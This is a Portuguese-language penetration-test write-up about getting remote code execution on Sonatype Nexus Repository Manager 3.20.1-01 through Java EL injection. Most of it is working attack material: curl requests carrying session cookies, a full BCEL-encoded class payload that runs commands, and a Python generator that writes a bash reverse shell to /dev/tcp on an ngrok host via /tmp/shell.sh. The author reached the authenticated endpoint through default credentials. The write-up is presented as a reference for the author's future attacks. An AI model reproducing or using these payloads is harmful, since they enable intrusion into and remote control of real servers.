
Prova de conceito e passo a passo técnico demonstrando execução remota de código no Sonatype Nexus, incluindo depuração de injeção EL, construção de payload BCEL e estabelecimento de shell reversa.
Anteriormente, durante um PT, encontrei um ambiente alvo com Nexus Repository Manager instalado. Passei por alguns obstáculos, mas no final consegui um Shell.
Vou registrar isso aqui para facilitar a consulta no futuro, caso seja útil novamente.
Versão alvo: Sonatype Nexus Repository Manager OSS 3.20.1-01
Usei um PoC para testar a execução de código e confirmar a existência da vulnerabilidade. (Nota: nesta altura eu já estava com uma sessão autenticada, pois por acaso descobri um problema de credencial padrão no ambiente alvo)

curl -i -s -k -X $'POST' \
-H $'Host: vulnerable.host:8081' -H $'Content-Length: 211' -H $'Content-Type: application/json' \
-b $'NX-ANTI-CSRF-TOKEN=0.556095932101016; NXSESSIONID=1dde28fd-1606-4ee3-9c6a-0a2f10791f4b' \
--data-binary $'{\x0d\x0a \"name\": \"internal\",\x0d\x0a \"online\": true,\x0d\x0a \"storage\": {\x0d\x0a \"blobStoreName\": \"default\",\x0d\x0a \"strictContentTypeValidation\": true\x0d\x0a },\x0d\x0a \"group\": {\x0d\x0a \"memberNames\": [\"$\\\\A{7*7}\"]\x0d\x0a}\x0d\x0a}' \
$'http://vulnerable.host:8081/service/rest/beta/repositories/go/group'
Tentei o RCE PoC que circula na internet, mas não funcionou.
Observei que o payload era devolvido na resposta exatamente como foi enviado.

Depois fui debugando passo a passo para ver onde estava o problema.
Observei que "$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6]}" teve efeito, mas falhava quando eu encadeava invoke().

Continuei o debug e descobri que getRuntime() parecia inacessível.

Além disso, aparentemente também não era possível fazer setAccessiable(true) com sucesso; acredito que havia alguma configuração de segurança na JVM bloqueando operações de reflexão.

Mas pelo menos descobrimos que a vulnerabilidade de execução de código Java EL realmente existia. O que restava era encontrar o caminho certo para obter RCE com sucesso e também conseguir o retorno da saída.
Depois de consultar algumas pesquisas, finalmente encontrei um payload BCEL RCE utilizável.

curl -i -s -k -X $'POST' \
-H $'Host: vulnerable.host:8081' -H $'Content-Length: 1943' -H $'Content-Type: application/json' \
-b $'NX-ANTI-CSRF-TOKEN=0.556095932101016; NXSESSIONID=1dde28fd-1606-4ee3-9c6a-0a2f10791f4b' \
--data-binary $'{\x0d\x0a \"name\": \"internal\",\x0d\x0a \"online\": true,\x0d\x0a \"storage\": {\x0d\x0a \"blobStoreName\": \"default\",\x0d\x0a \"strictContentTypeValidation\": true\x0d\x0a },\x0d\x0a \"group\": {\x0d\x0a \"memberNames\": [\"$\\\\A{\'\'.class.forName(\'com.sun.org.apache.bcel.internal.util.ClassLoader\').newInstance().loadClass(\'$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A\').newInstance().exec(\'id\')}\"]\x0d\x0a}\x0d\x0a}' \
$'http://vulnerable.host:8081/service/rest/beta/repositories/go/group'
Corpo do POST:
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A').newInstance().exec('id')}"]}
}
A parte do bytecode é:
public String exec(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
String res = stringBuilder.toString();
return res;
}
Depois descobri que existia /bin/python no host alvo.
Para facilitar a criação de um reverse shell, escrevi o script python abaixo.
O objetivo é contornar a limitação de não poder usar aspas simples, aspas duplas, pipes do Unix e redirecionamentos do Unix dentro de ".exec('')". (Isso tornaria o JSON inválido)
chr()./bin/python para escrever o comando unix num arquivo, por exemplo /tmp/shell.sh.chmod +x /tmp/shell.sh para conseguir executar o shell script.def to_chr_expr(s: str) -> str:
"""把字串轉成 chr(XX)+chr(YY)+... 的形式"""
return '+'.join(f'chr({ord(c)})' for c in s)
def generate_write_payload(file_path: str, content: str) -> str:
"""
產生一段 python payload,完全用 chr() 拼字串,不用引號,
寫入指定檔案,內容是 content,結尾自動加換行
"""
path_expr = to_chr_expr(file_path)
content_expr = to_chr_expr(content + '\n') # 自動換行
mode_expr = 'chr(119)' # 'w' 寫入模式
payload = (
f"python -c f=open({path_expr},mode={mode_expr});"
f"f.write({content_expr});f.close()"
)
return payload
if __name__ == "__main__":
path = "/tmp/shell.sh"
long_content = "bash -i >& /dev/tcp/0.tcp.jp.ngrok.io/17590 0>&1"
print(f'寫入路徑: {path}')
print(f'寫入內容: {long_content}')
payload = generate_write_payload(path, long_content)
print(f'生成 payload: \n {payload}')

Depois de gerado, coloquei o payload dentro das aspas simples de .exec('').
No final, consegui obter um reverse shell interativo com sucesso.
